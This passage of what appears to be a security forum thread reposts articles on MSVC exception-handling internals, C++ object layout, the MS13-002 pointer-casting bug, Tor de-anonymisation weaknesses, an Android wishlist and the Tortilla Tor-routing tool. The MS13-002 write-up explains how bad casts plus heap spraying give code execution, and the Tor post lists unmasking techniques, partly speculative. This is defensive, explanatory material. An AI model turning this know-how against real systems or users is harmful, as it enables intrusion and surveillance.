eax, [ebp+a2] ; a1.m1 == a2.m1? jnz short loc_40109F mov [ebp+_exc], offset aAbc ; _exc = "abc" push offset __TI1?PAD ; char * lea ecx, [ebp+_exc] push ecx call _CxxThrowException ; throw "abc"; loc_40109F: mov byte ptr [ebp+_state], 1 ; state 2 -> 1: destruct a2 lea ecx, [ebp+a2] call A::~A(void) jmp short func1_try0end ; catch (char * e)func1_try0handler_pchar: mov edx, [ebp+e] push edx push offset aCaughtS ; "Caught %s\n" call ds:printf ; add esp, 8 mov eax, offset func1_try0end retn ; catch (...)func1_try0handler_ellipsis: push offset aCaught___ ; "Caught ...\n" call ds:printf add esp, 4 mov eax, offset func1_try0end retn func1_try0end: mov [ebp+_state], 0 ; state 1 -> 0: }//try push offset aAfterTry ; "after try\n" call ds:printf add esp, 4 mov [ebp+_state], -1 ; state 0 -> -1: destruct a1 lea ecx, [ebp+a1] call A::~A(void) ; --- epilog --- mov ecx, [ebp+_next] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retnfunc1 endp func1_ehhandler proc near mov eax, offset func1_funcinfo jmp __CxxFrameHandlerfunc1_ehhandler endp func1_funcinfo dd 19930520h ; magicNumber dd 4 ; maxState dd offset func1_unwindmap ; pUnwindMap dd 1 ; nTryBlocks dd offset func1_trymap ; pTryBlockMap dd 0 ; nIPMapEntries dd 0 ; pIPtoStateMap dd 0 ; pESTypeList func1_unwindmap dd -1 dd offset func1_unwind_1tobase ; action dd 0 ; toState dd 0 ; action dd 1 ; toState dd offset func1_unwind_2to1 ; action dd 0 ; toState dd 0 ; action func1_trymap dd 1 ; tryLow dd 2 ; tryHigh dd 3 ; catchHigh dd 2 ; nCatches dd offset func1_tryhandlers_0 ; pHandlerArray dd 0 func1_tryhandlers_0dd 0 ; adjectivesdd offset char * `RTTI Type Descriptor' ; pTypedd -1Ch ; dispCatchObjdd offset func1_try0handler_pchar ; addressOfHandlerdd 0 ; adjectivesdd 0 ; pTypedd 0 ; dispCatchObjdd offset func1_try0handler_ellipsis ; addressOfHandler func1_unwind_1tobase proc neara1 = byte ptr -14h lea ecx, [ebp+a1] call A::~A(void) retnfunc1_unwind_1tobase endp func1_unwind_2to1 proc neara2 = byte ptr -18h lea ecx, [ebp+a2] call A::~A(void) retnfunc1_unwind_2to1 endp Let's see what we can find out here. The maxState field in FuncInfo structure is 4 which means we have four entries in the unwind map, from 0 to 3. Examining the map, we see that the following actions are executed during unwinding: state 3 -> state 0 (no action)state 2 -> state 1 (destruct a2)state 1 -> state 0 (no action)state 0 -> state -1 (destruct a1) Checking the try map, we can infer that states 1 and 2 correspond to the try block body and state 3 to the catch blocks bodies. Thus, change from state 0 to state 1 denotes the beginning of try block, and change from 1 to 0 its end. From the function code we can also see that -1 -> 0 is construction of a1, and 1 -> 2 is construction of a2. So the state diagram looks like this: Where did the arrow 1->3 come from? We cannot see it in the function code or FuncInfo structure since it's done by the exception handler. If an exception happens inside try block, the exception handler first unwinds the stack to the tryLow value (1 in our case) and then sets state value to tryHigh+1 (2+1=3) before calling the catch handler. The try block has two catch handlers. The first one has a catch type (char*) and gets the exception object on the stack (-1Ch = e). The second one has no type (i.e. ellipsis catch). Both handlers return the address where to resume execution, i.e. the position just after the try block. Now we can recover the function code: void func1 () { A a1; a1.m1 = 1; try { A a2; a2.m1 = 2; if (a1.m1 == a1.m2) throw "abc"; } catch(char* e) { printf("Caught %s\n",e); } catch(...) { printf("Caught ...\n"); } printf("after try\n"); } Appendix III: IDC Helper Scripts I wrote an IDC script to help with the reversing of MSVC programs. It scans the whole program for typical SEH/EH code sequences and comments all related structures and fields. Commented are stack variables, exception handlers, exception types and other. It also tries to fix function boundaries that are sometimes incorrectly determined by IDA. You can download it from MS SEH/EH Helper. Links and References [1] Matt Pietrek. A Crash Course on the Depths of Win32 Structured Exception Handling. A Crash Course on theDepths of Win32 Structured Exception Handling, MSJ January 1997 Still THE definitive guide on the implementation of SEH in Win32. [2] Brandon Bray. Security Improvements to the Whidbey Compiler. Security Improvements to the Whidbey Compiler - Visual C++ Internals and Practices - Site Home - MSDN Blogs Short description on changes in the stack layout for cookie checks. [3] Chris Brumme. The Exception Model. The Exception Model - cbrumme's WebLog - Site Home - MSDN Blogs Mostly about .NET exceptions, but still contains a good deal of information about SEH and C++ exceptions. [4] Vishal Kochhar. How a C++ compiler implements exception handling. How a C++ compiler implements exception handling - CodeProject An overview of C++ exceptions implementation. [5] Calling Standard for Alpha Systems. Chapter 5. Event Processing. http://www.cs.arizona.edu/computer.help/policy/DIGITAL_unix/AA-PY8AC-TET1_html/callCH5.html Win32 takes a lot from the way Alpha handles exceptions and this manual has a very detailed description on how it happens. Structure definitions and flag values were also recovered from the following sources: VC8 CRT debug information (many structure definitions) VC8 assembly output (/FAs) VC8 WinCE CRT source Sursa: OpenRCE
  3. [h=3]C++: Under the Hood[/h] This is an article written by Jan Gray. It is quite old, but most of the contents still apply today. The original article on MSDN can no longer be found. Here is the pdf version on OpenRCE: http://www.openrce.org/articles/files/jangrayhood.pdf. Overview: How are classes laid out? How are data members accessed? How are member functions called? What is an adjuster thunk? What are the costs: Of single, multiple, and virtual inheritance? Of virtual functions and virtual function calls? Of casts to bases, to virtual bases? Of exception handling? Sursa: C++: Under the Hood - Van's House - Site Home - MSDN Blogs
  4. The story of MS13-002: How incorrectly casting fat pointers can make your code explode swiat 6 Aug 2013 9:40 PM C++ supports developers in object-orientated programming and removes from the developer the responsibility of dealing with many object-oriented programming (OOP) paradigm problems. But these problems do not magically disappear. Rather it is the compiler that aims to provide a solution to many of the complexities that arise from C++ objects, virtual methods, inheritance etc. At its best the solution is almost transparent for the developers. But beware of assuming or relying on ‘under-the-hood’ behavior. This is what I want to share in this post - some aspects of how compilers deal with C++ objects, virtual methods, inheritance, etc. At the end I want to describe a real-world problem that I analyzed recently, which I called a “pointer casting vulnerability”. Pointers C vs C++ C++ introduces classes supported by the C++ language standard, which is a big change. Compilers need to take care of many problems, e.g. constructors, destructors, separating fields, method calling etc. In C we are able to create a function-pointer so why shouldn't we be able to create a pointer-to-member-function in C++? What does it mean? If we have a class with implementation of any method, from the C developer point of view this is just a function declared inside the object. C++ should allow us to create pointer to exactly this method. It is called a pointer-to-member-function. How can you create them? It is more complex than a function pointer in C. Let's see an example: class Whatever {public: int func(int p_test) { printf("I'm method \"func()\" !\n"); } }; typedef int (Whatever::*func_ptr)(int); func_ptr p_func = &Whatever::func; Whatever *base = new Whatever(); int ret = (base->*p_func)(0x29a); The definition of the function pointer is not much different comparing to C. But the way to call the function from the pointer obviously is because of the implied this pointer. At this point some magic happens. Why do we need to have an instance of the class and why we are using it as a base to call the pointer? The answer requires us to analyze what these “pointers” look like in memory. Normal pointers (known from C language) have size of a CPU word. If the CPU operates on 32 bit registers, a C-like pointer will be 32 bits long and will contain just a memory address. But the pointer-to-function-member C++ pointers mentioned above are sometimes also called “fat pointers”. This name gives us a hint that they keep more information, not just a memory address. The fat pointer implementation is compiler-dependent, but their size is always typically bigger than a function pointer. In the Microsoft Visual C++ a pointer-to-member-function (fat pointer) can be 4, 8, 12 or even 16 bytes in size! Why so many options and why is so much memory needed? It all depends on the nature of the class it's associated with. Classes and inheritance The nature of a “pointer to member function” is driven by the layout of the class for the member function that we’re wanting to point to. There are some excellent references on the details of C++ object layout – see [1,2] for example. We give just one example class and associated layout: consider two unrelated classes that derive from the same base class: class Tcpip {public: short ip_id; virtual short chksum(); }; class Protocol_1 : class Protocol_2 : virtual public Tcpip { : virtual public Tcpip { public: public: int value_1; int value_2; virtual int proto_1_init(); virtual int proto_2_init(); }; These two classes could be written by completely different developers or even companies. They don't need to be aware of each other. Now we imagine the situation that a third company wants to write a wrapper for these two protocols and export APIs that are independent of the specification of either. The new class could look like this: class Proto_wrap : public Protocol_1, public Protocol_2 { public: int value_3; int parse_something(); }; Note that having declared Protocol_1 as Protocol_1 with virtual inheritance means that there is a single version of ip_id (and chksum()) in the memory layout and the statement pProtoWrap->chksum(); is unambiguous. The layout of a Proto_wrap object is: (Without the virtual inheritance, each of Protocol_1 and Protocol_2 would have its own copy of the ip_id member, leading to ambiguity if we were to try something like: int a = pProto_wrap->ip_id ) Pointer-to-member-function (fat pointers) Now that we have recalled some relevant background we can return to the original problem. Why are pointer-to-member-function bigger than a C-style function pointer? The Microsoft VC++ compiler can generate pointer-to-member-function (fat pointers) that are 4, 8, 12 or even 16 bytes long [3,4]. Why are there so many options and why do they need so much memory? Hopefully thinking about the object layout example above provides some hints... If we create a pointer-to-member-function to a static function it will be converted to a normal (C-like) pointer and will be 4-bytes long (on 32 bits arch, in other case CPU word size). Why? Because static functions have a fixed address that is unrelated to any specific object instance. In the single inheritance case, any member function can be referred to as an offset from a single ‘this’ pointer. In the multiple inheritance case however, given a derived object (e.g. Proto_wrap) it is not the case that its ‘this’ pointer is valid for each base class. Rather ‘this’ needs to be adjusted depending on which base class is being referred to. In this case “fat pointer” will be 2 CPU words long: | offset | “this” | See [5] for a more detailed walkthrough. Additionally if our object uses virtual inheritance (the layout example given in the previous section), then we need to know not only which of the vtables is relevant (Protocol_1’s or Protocol_2’s) but also the offset within that corresponding to the member function that we’re wanting to point to. Inthis case the pointer-to-member-function size will be 12 bytes (3 CPU words size). This is not the end… You can also forward declare an object and in this case the compiler has no idea about its memory layout and will allocate a 16-byte structure for the pointer-to-member-function unless you specify the kind of inheritance associated with the object via special compiler switches/pragmas. [3,4]. So now I will try to explain some interesting security-related behavior which I met during my work… C++ pointer casting vulnerability Let's analyze the following skeleton example. We have a base class, which is virtually inherited by two further classes: RealData holds some data ; Manage can process specific types of data; ‘BYTE *_ip’ is used as the means to direct which of Manage’s processing methods should be called. class UnknownBase;class RealData { friend Manage; public: ... ULONG_PTR _lcurr; // some real data... int _flags; int _flags2; int _flags3; }; class Manage : public virtual UnknownBase { friend class ProcessHelper; public: BYTE * _ip; RealData * _curr; ... }; class ProcessHelper : virtual UnknownBase { public: typedef LONG_PTR (Manage::*ManageFunc)(); struct DummyStruct { ManageFunc _executeMe; // pointer to member function! }; ... }; LONG_PTR Manage::frame() { LONG_PTR offset = (this->*(((ProcessHelper::DummyStruct *) _ip)->_executeMe))(); return offset; } The key to this vulnerability is the rather convoluted cast in Manage::frame(). Note the types involved: _ip is of type BYTE * type ProcessHelper:: DummyStruct is a struct with a pointer-to-function member type ManageFunc So the ‘BYTE *’ data is actually being cast (in a roundabout way via a struct) to a ManageFunc pointer-to-member-function type, ie the instruction is really equivalent to: LONG_PTR offset = ((ManageFunc)_ip)();However the compiler errors out on such a statement, flagging that ‘BYTE *’ and ‘ManageFunc‘ are incompatible types (different sizes in particular!) to be casting to and from. It appears here that the developer worked round the compiler error by introducing the ‘struct DummyStruct’ subterfuge: they assumed that under the hood the ManageFunc really was just a standard pointer, and were able to indirectly achieve the incorrect cast… C/C++ will always allow the persistent developer to eventually do the wrong thing. Let’s run through how this breaks in practice. We create the following instances: Manage *temp_manage = new Manage; Real_block *temp_real_block = new RealData; To illustrate the issue we might set up the ‘flags’ members as follows: temp_real_block->_flags = 0x41414141; temp_real_block->_flags2 = 0x41414141; temp_real_block->_flags3 = 0x41414141; And let’s suppose the code does something like the following: temp_manage->_ip = (BYTE *)&temp_real_block->_lcurr; temp_manage->frame(); // does the (ManageFunc)_ip) cast This leads to a crash - after casting to the DummyStruct structure with pointer-to-member-function our base casting expects to have a fat pointer memory layout associated with virtual inheritance, specifically expecting to find vbtable offset information at the 3rd CPU word: this value is taken and added to the whole pointer. In our case, _ip was pointing at _lcurr and so we have the following adjacent data: ULONG_PTR _lcurr; int _flags; int _flags2; int _flags3; So here, the arbitrary _flags data will be added to the memory address _lcurr in an attempt to form the address of the member function. Note that RTTI (run-time type information) does not help here; the incorrect cast is directly computing an incorrect memory address to call. The security consequences are potentially severe - full remote code execution (RCE). In such an incorrect ‘standard pointer’ to ‘pointer-to-member-function’ cast scenario, the data adjacent to the standard pointer will be used to calculate the address of the member function. If the attacker controls this then by choosing suitable values here, he can cause that address calculation to result in a value of his choosing, thus gaining control of execution. In the real vulnerability we didn’t have direct control over what will be written to the “_flags” field. But we were able to execute some code path which set “_flags” value to not zero – the number 2 (two). So we were able to set “_flags” to the value 2 and then execute vulnerable code. Because pointer was badly calculated (because 2 was added to the pointer), memory which was cast to the structure had bad values. Inside of the structure was function pointers and because they were shifted by 2 bytes, they were pointing somewhere in memory which always was somewhere in the heap range. An attacker could spray the heap and thus control this. [6] Summarize The higher level a language, the more problems the associated compilers must solve. But the developer is ultimately responsible for writing correct code. Typically C/C++ compilers will ultimately allow you to cast to and from unrelated types (C pointers to pointers-to-member-functions for example) and back again. Developers should avoid such illegal activity, take careful note of compiler warnings that occur when they break the rules, and be aware that if they persist they’re on their own… Microsoft Visual Compiler detects described situation and inform developers about that by printing appropriate message: error C2440: 'type cast' : cannot convert from 'BYTE *' to 'XXXyyyZZZ'. There is no context in which this conversion is possible. Btw. I would like to thanks following people for help with my work: Tim Burrell (MSEC) Greg Wroblewski (MSEC PENTEST) Suha Can Best regards, Adam Zabrocki References [1] Reversing Microsoft Visual C++ Part II: Classes, Methods and RTTI [2] C++: under the hood [3] MSDN: Inheritance keywords [4] MSDN: pointers-to-members pragma [5] Pointers to member functions are very strange animals [6] Microsoft Security Bulletin MS13-002 - Critical : Vulnerabilities in Microsoft XML Core Services Could Allow Remote Code Execution (2756145) Sursa: The story of MS13-002: How incorrectly casting fat pointers can make your code explode - Security Research & Defense - Site Home - TechNet Blogs
  5. Anonymity Smackdown: NSA vs. Tor By Robert Graham In recent news, Tor was hacked -- kinda. A guy hosting hidden services was arrested (with help from FBI), and his servers changed to deliver malware to expose user IP addresses (with help from NSA). This makes us ask: given all the recent revelations about the NSA, how secure is Tor at protecting our privacy and anonymity? The answer is "not very". Tor has many weaknesses, especially the "Tor Browser Bundle". I'm going to describe some of them here. The NSA runs lots of Tor nodes The NSA hosts many nodes, anonymously, at high speed, spread throughout the world. These include ingress, middle nodes, hidden services, and most especially, egress nodes. It's easy for them to create a front company, sign up for service, and host the node virtually anywhere. On any random Tor connection, there is a good chance that one of your hops will be through an NSA node. Update: This is a controversial claim. I have some sources I cannot name. Also: I don't have the exact details as to what "many" means: 1%? 10% 30%?? Tor uses only three hops By default, Tor chooses three hops: the ingress point, the egress point, and only a single in-between node. If the NSA is able to control one or two of these nodes, you are still okay because the third node will protect you. But, if the NSA is able to control all three, then your connection is completely unmasked. This means that the NSA occasionally gets lucky, when somebody's connection hits three NSA nodes, allowing them to unmask the user. Update: If we assume the NSA controls 1% of Tor nodes, that comes out to one-in-a-million chance the NSA will unmask somebody on any random connection. If a million connections are created per day, that means the NSA unmasks one person per day. Tor creates many new paths Tor doesn't use a single static path through the network. Instead, it opens up a new path/tunnel every 15 minutes. Modern web-services create constant background connections. Thus, if you have your Outlook mail or Twitter open (and aren't using SSL), these will cause a new path to be created through the Tor network every 15 minutes, or 96 new paths every day, or 3000 new paths a month. That means over the long run, there's a good chance that the NSA will be able to catch one of those path with a three-hop configuration, and completely unmask you. Update: This is partly mitigated by the "guard" ingress node concept. You crease only a single connection to the guard node, then fan out paths from there. But, mitigated doesn't mean the same thing as "fixed". Your egress traffic may be unencrypted Tor encrypts your traffic on your end, but when it leaves the last node in the Tor network, it'll be whatever it would be originally. If you are accessing websites without SSL, then this last hop will be unencrypted. It's usually easy to verify within web-browsers whether they are using SSL, but most other apps have bugs that cause unencrypted sessions to be created. Update: Also, some of your egress traffic is poorly encrypted, such as the 1024-bit keys without forward security that Facebook uses. Update: @addelindh points out that things like SSLstrip often works because people aren't paying attention and websites don't support things like HSTS, and thus, even when you want SSL, it'll sometimes fail for you in the face of a hostile attacker. Somebody needs to setup an exit node, then SSLstrip it to figure out how often that works. Tor uses 1024-bit RSA DH Tor connections are only protected by 1024-bit RSA keys. The NSA can crack those keys. We don't know how easily they can do it. I'm guessing the NSA spent several years and a billion dollars to build ASICs. That means, their internal accounting might charge $1-million per 1024-bit RSA key cracked. This means they won't try to crack keys for petty criminals, but they have the power to crack keys for serious targets. The NSA doesn't need to control all three servers along your route through Tor. Instead, it can control two servers and crack the RSA key of the remaining connection. Update: We know the NSA can crack 1024-bit keys, because would cost only a few million dollars. What we don't know how many such keys it can crack per day. The number could be less than one such key per day. Major Update: Because of Tor's "perfect forward secrecy", the NSA wouldn't be cracking the RSA key when eavesdropping. Instead, they would need to crack the "ephemeral" keys. A lot of older servers use 1024-bit DH ephemeral keys, which are about as easy to break as 1024-bit RSA keys. Newer servers use 256-bit ECDH keys which are a lot stronger, and likely not crackable by the NSA (estimates say NSA can crack up to 160-bit ECDH keys). Thus, for older servers, the ability of the NSA to passively eavesdrop and crack keys is a big threat, but for newer servers, it's likely not a threat. (I'm using Keylength - Cryptographic Key Length Recommendation and round numbers here for key lengths). (I'm using TorStatus - Tor Network Status and my own pcaps to confirm a lot of 1024-bit DH is still out in the Tor nodes). The NSA can influence parts of the network The NSA can flood the servers it doesn't control with traffic, thus encouraging users to move onto their own servers. Thus, they can get more connections onto their servers than chance would suggest. Multiple apps share the same underlying Tor egress Let's say that you use SSL for Twitter, but non-SSL for your email app. Both of these go out the same exit node. This allows the the NSA to associate the two together, the user named in the email connection associated with the otherwise anonymous Twitter connection. This association works well when the NSA is controlling the exit node, and less well if it's simply monitoring the exit node. Outages out you As everyone knows, if the NSA is monitoring you and the server you visit, they might be able to match up traffic patterns to associate the two. This is tricky for them, so a better way is to control the association by injecting faults. If the NSA is able to reset (spoof TCP RST) packets to your end of the connection, it'll cause the egress connection on the other end to drop. Some suspect the NSA is doing this in order to find hidden services. Exploits (0day or not) can leak your IP address In the recent incident, the FBI put a Firefox exploit on the servers that was designed to leak a person's IP address. There are lots of other things that can do this, ranging from hidden stuff within video files to PDF files. I doubt that it is possible, in the normal sense (i.e. without putting the Tor proxy and apps on separate machines), to prevent your IP address from being discovered. DNS leakages can get you This is partially fixed, with the latest build of Firefox in the Tor Browser Bundle. But it's potentially broken in other apps. The basic problem is that Tor is TCP-based, but DNS requests go over UDP. Also, DNS requests go over separate APIs in the operating system that bypass the proxying of Tor. Consequently, when apps open a proxied TCP connection, they'll still leak your IP address when resolving a name via DNS. (h/t @inthecloud247) Mistakes inevitably happened Remember: Lulzsec hacker Sabu was discovered because while he normally logged onto chatrooms using Tor, he forgot once -- and once was enough. The NSA passes info to the FBI !!! Normally, the NSA wouldn't go after petty criminals, like kids buying drugs on SilkRoad. That's because doing so would reveal the existence of the program, which the NSA wants to keep secret. But now we've heard stories about how the NSA can give such information to FBI without revealing the program. Unmasking connections is opportunistic: the NSA is just running a huge dragnet and testing connections when they get lucky. With the above program, they can just pass it along to the FBI. That means even the pettiest of petty criminals might getting caught with the NSA's Tor monitoring. Conclusion Experts can probably use Tor safely, hiding from the NSA -- assuming they control a smaller number of nodes, and that their 1024-bit key factoring ability is small. It would require a lot of opsec, putting apps on a different [virtual] machine than the proxy, and practicing good opsec to make sure egress connections are encrypted. However, the average person using the Tor Browser Bundle is unlikely to have the skills needed to protect themselves. And this might be good thing: it means dissidents throughout the world can probably hide from their own government, while our NSA cleans the network of all the drug dealers and child pornographers. Update: Some comments might appear on the Tor mailing list here.Sursa: Errata Security: Anonymity Smackdown: NSA vs. Tor
  6. Android 5.0 Key Lime Pie: 12 features we want to see Updated: Visual voicemail, revamped messaging and enhanced multitasking are just some of things we'd like to see. Android 5.0 will be the next edition of the world's most popular smartphone operating system, and could be set for release in late October. Developed under the codename Android Key Lime Pie (KLP), this version of the software is a major refresh and is expected to introduce a raft of features as well as a boost in performance. According to reports, Google is planning to release the latest version of its mobile operating system in October to coincide with Android's fifth birthday, and the release of the Motorola X device. The new OS is also expected to run on a much wider range of devices than Android 4.2 Jelly Bean, including those with 512 MB of RAM. IT Pro has compiled a list of 10 other improvements we'd like to see in Android 5.0. Do you agree? Are there any features you'd like to see Google introduce? Let us know below. 12. Improved security Despite its popularity, security is still a core problem for the Android platform. This is primarily down to the Google Play store being a infiltrated with apps containing malware malware, but isn’t the only cause. Most recently, Bluebox Security discovered a “Master Key” flaw, which means that 99 per cent of devices vulnerable (900 million) can be hacked. A patch is being rolled out as we speak, it’s another major sign that Google needs to do more to ensure its devices are safer. 11. Performance profiles We’ve already got the ability to toggle between silent and flight mode, but enhanced profiles which can be customised to alter the performance levels of the device will be invaluable as they can help to save battery life or boost CPU speeds for complex tasks . OEMs such as Motorola and Samsung already offer users things such as Blocking Mode and Smart Actions, respectively. We would like to see Google step up and offer a variety of modes built into Android, especially for its Nexus range. These will allow the user to save battery overnight, turn up performance when carrying using the device for gaming/multimedia and settings for in between. 10. Visual voicemail There are apps which provide this service in the US, but there is little love for users in the UK. Google and its OEM partners should use their close ties with carriers to kickstart this service in the UK. A native app would be useful to people who are frequently in meetings as they can quickly check whether a voicemail they have received is urgent. 9. Beef up Google Now Google Now was introduced in 2011 as part of Android Jelly Bean 4.1, but it's usefulness is largely restricted to the US. In the UK, the software primarily functions as a reminder tool for events you may have – and is always on hand to show you how long it will take to get home from any given location. We expect Google to make some more partnership announcements, which will extend the usefulness of Now outside of the grand ol’ USA. 8. Ability to turn off OEM skins on any device When Android 5.0 KLP launches, it is expected to arrive on a brand-new handset carrying Google’s 'Nexus' branding. Likely to be dubbed the Nexus 5, this smartphone will ship with the vanilla version of Android, and will be developer friendly. OEMs such as HTC, LG and Samsung will place their custom skins over the top of Android KLP when it is released on their handsets to differentiate them. It would be good if Google built-in a master switch into Android, giving users the choice to switch off these OEM skins without having to root devices. The chances of this happening though are virtually zero. OEMs such as HTC and Samsung add features which will only work with their respective skins active, and they are not going to want to let users disable them. Google is unlikely to pull rank on its partners too – as it feels that one of the strengths of the operating system is its customisation. 7. Child/Business-friendly modes as standard Kids Corner was a useful feature that Microsoft introduced in the Windows Phone 8 OS. Microsoft effectively built a sandbox into the mobile OS, allowing users to lockdown sensitive information like emails, while allowing kids to access features such as games. It would be good to see Google incorporate a similar feature into Android. BlackBerry built-in its Balance feature into Z10 smartphones. This allows IT admins to separate business and personal data – and means that employees cannot copy sensitive information from one side to the other. It also means when a user leaves an organisation, the business side of the handset can be wiped without affecting the personal information. Samsung is already trying to make inroads into the enterprise by launching a Secured Edition of Android known as Knox. This aims to replicate the functionality of BlackBerry Balance, so it is possible to do so. 6. Find my Droid You'd expect a simple feature like this to be included in a comprehensive system such as Android, but it has yet to materialise. With the firm’s extensive mapping service, and GPS included into handset, it shouldn’t be too much of a stretch for Google to build this functionality into the heart of the OS. 5. Revamped messaging This is the feature which has been talked about extensively, due to information leaking. It will be interesting to see to how Google goes about tackling messaging in a world where apps such as Whatsapp dominate. Google's "Babel” service is expected to allow users to access messages across Android smartphones and tablets. The web giant is also tipped to launch clients for other popular platforms such as iOS. Folks over at the Google Operating System blog found a javascript file on Gmail servers appearing to confirm the existence of Babel and some of the key features it will include: Redesigned conversation-based UI Access conversation lists from smartphones, tablet and PCs Advanced group conversations Ability to send pictures Improved notifications across devices 4. Offline maps and better control over location settings Nokia has been leading the way in this field by allowing users to download comprehensive guidance and then use it for free offline. Google already offers comprehensive guidance through its Maps and Navigation apps, but it does crunch through battery when in use. Privacy hasn't been a strong point for Google, with the firm receiving numerous fines about collecting data from individuals. A way in which Google could try and rebuild its privacy image would be to let users choose whether they want to share their location. iOS already allows users to turn off location services on individual apps if they choose to. This feature would be welcome on Android so you don’t have all your apps sending off data. Of course it would help to save battery life too. 3. Improved battery life and performance There are whispers that Google will upgrade the framework of Android to the Linux 3.8 Kernel. What does this mean for regular users? In short, such an upgrade should make Android less memory hungry. Devices should become more efficient as they gobble up less RAM for tasks and inturn this should result in improved battery life. Google introduced its Project Butter initiate with Jelly Bean to help solve the latency issues Android was experiencing. This has gone a long way toward reducing the perceived “lag” associated with Android. Improvements to Butter are expected. 2. Enhanced multitasking Android has been at the forefront of mobile computing when it comes to features such as multitasking. Users are able to run multiple apps at the same time and flick between them. With the forthcoming Galaxy S4, Samsung will allow users to snap two apps onto the screen of the 5in device, so they can be used at the same time. It’ll be possible to watch videos when replying to emails, or surf the internet and make notes. It would be great to see Google take the initiative and make a multitasking feature like this standard across all high-end handsets. 1. Complete Android backup Although it is possible to sync key features such as contacts and apps with a Gmail account – a full blown native backup is lacking from Android handsets. When you switch between Android handsets, photos, music and text messages are lost in the transition, as are any customisations you have made. Apple already has a cloud backup service, which works well when you upgrade your iPhone– and we hope Google will introduce something similar to this with Android KLP. This article was originally published on 24 April, but has since been updated to include further release date information. Sursa: Android 5.0 Key Lime Pie: 12 features we want to see | IT PR
  7. Tortilla v1.0.1 Beta by Jason Geffner (jason@crowdstrike.com) and Cameron Gutman (cameron@crowdstrike.com) Tortilla is a free and open-source solution for Windows that transparently routes all TCP and DNS traffic through Tor. This product is produced independently from the Tor® anonymity software and carries no guarantee from The Tor Project about quality, suitability or anything else. LICENSE Please see the LICENSE.txt file for complete licensing details. BUILD INSTRUCTIONS This distribution comes with a pre-built version of Tortilla.exe. If you would like to use the pre-built Tortilla.exe, you may skip to USAGE INSTRUCTIONS. Otherwise, follow the steps below to build Tortilla.exe with Visual Studio. Note: Building Tortilla will require WDK 8.0 or higher. 1. Open the Tortilla.sln solution in Visual Studio 2. If you would like to use your own driver signing certificate instead of the test-signed certificate distributed with this distribution, update the Driver Signing Configuration Property in the TortillaAdapter project and the TortillaAdapter Package project 3. In the Visual Studio menu bar, select BUILD -> Batch Build... 4. In the Batch Build window, check the following items: InstallTortillaDriver Debug Win32 InstallTortillaDriver Debug x64 InstallTortillaDriver Release Win32 InstallTortillaDriver Release x64 Tortilla Debug Win32 Tortilla Release Win32 TortillaAdapter Vista Debug Win32 TortillaAdapter Vista Debug x64 TortillaAdapter Vista Release Win32 TortillaAdapter Vista Release x64 TortillaAdapter Package Vista Debug Win32 TortillaAdapter Package Vista Debug x64 TortillaAdapter Package Vista Release Win32 TortillaAdapter Package Vista Release x64 5. In the Batch Build window, press the Build button The driver package files, InstallTortillaDriver.exe, and the default Tortilla.ini file all get embedded in Tortilla.exe (created in the \Debug and \Release directories). You need not distribute anything other than Tortilla.exe. USAGE INSTRUCTIONS The usage instructions below apply to your host operating system. All of Tortilla's components exist on the host operating system. No Tortilla files need to be copied into your virtual machine. 1. If your host system is Windows Vista or later and the Tortilla driver package is signed with a test-signed certificate, configure your system to support test-signed drivers - The TESTSIGNING Boot Configuration Option (Windows Drivers) 2. Download the Tor Expert Bundle from https://www.torproject.org/download (expand the Microsoft Windows drop-down and download the Expert Bundle) 3. Install the Tor Expert Bundle and run Tor 4. Run Tortilla.exe; this will install the Tortilla Adapter as a virtual network adapter and will run the Tortilla client 5. Configure a virtual machine to use the Tortilla Adapter as its network adapter For VMware, open Virtual Network Editor, edit or add a new VMnet network, and bridge that VMnet to the Tortilla Adapter. In your virtual machine's Virtual Machine Settings, set the Network Adapter's Network connection to Custom and select the VMnet that was bridged to the Tortilla Adapter. 6. In your virtual machine's guest operating system, ensure that the network adapter's TCP/IPv4 protocol is configured to obtain an IP address automatically via DHCP (Tortilla acts as a simple DHCP server) 7. Use your VM to access the Internet; all TCP and DNS traffic will be automatically and transparently routed through Tor 8. If you like, you may edit the Tortilla.ini file created by Tortilla.exe; restarting Tortilla.exe will cause it to use the configuration in Tortilla.ini UNINSTALLATION INSTRUCTIONS 1. Delete Tortilla.exe 2. Delete Tortilla.ini 3. Open Device Manager in Windows, expand the list of Network adapters, and delete the Tortilla Adapter RELEASE NOTES 1.0.1 Beta -- Driver initialization fix + client fix for DHCP broadcasts 1.0 Beta -- Initial release Download: https://github.com/CrowdStrike/Tortilla/tree/master/Tortilla Sursa: https://github.com/CrowdStrike/Tortilla
  8. Nytro

    Curiozitate HttpS

    Descarca OpenSSL (in cazul in care stii C) si uita-te in sursa: http://www.openssl.org/source/openssl-1.0.1e.tar.gz O sa gasesti acolo cam toti algoritmii pe care ii cauti. De asemenea exista multe librarii cu care poti testa efectiv algoritmii, de exemplu mcrypt pentru PHP. Pentru explicatii despre modul in care functioneaza gasesti destule explicatii pe Google/Wikipedia. Sincer, iti recomand o carte de cryptografie, nu stiu insa care anume. Cauta una mai complexa in cazul in care esti foarte interesat de subiect. Cauta problemele de securitate care apar cu diversi algoritmi: - https://rstforums.com/forum/73411-step-into-breach-https-encrypted-web-cracked-30-seconds.rst - https://rstforums.com/forum/72746-how-digital-certificates-used-misused.rst - https://rstforums.com/forum/73266-step-into-breach-new-attack-developed-read-encrypted-web-data.rst - https://rstforums.com/forum/70778-how-nsa-access-built-into-windows.rst - https://rstforums.com/forum/69666-advanced-cryptography.rst - https://rstforums.com/forum/68262-crypto-2012-breaking-repairing-gcm-security-proofs.rst - https://rstforums.com/forum/67417-new-rc4-attack.rst - https://rstforums.com/forum/66787-stanford-javascript-crypto-library.rst - https://rstforums.com/forum/66739-failures-secret-key-cryptography.rst - https://rstforums.com/forum/66643-another-crypto-attack-ssl-tls-encryption.rst - https://rstforums.com/forum/66368-cryptographic-primitives-c.rst - https://rstforums.com/forum/66073-botan-c-crypto-algorithms-library-1-10-5-a.rst - https://rstforums.com/forum/64975-attack-week-tls-timing-oracles.rst - https://rstforums.com/forum/64725-unlucky-you-uk-crypto-duo-crack-https-lucky-13-attack.rst - https://rstforums.com/forum/64163-crypto-cops-law-key-disclosure-forced-decryption.rst - https://rstforums.com/forum/63693-security-evaluation-russian-gost-cipher.rst - https://rstforums.com/forum/62592-crypto-pentesters.rst - https://rstforums.com/forum/62126-pgp-truecrypt-encrypted-files-cracked-300-tool.rst Sunt foarte multe resurse disponibile chiar si aici, timp si initiativa sa ai.
  9. Nytro

    Curiozitate HttpS

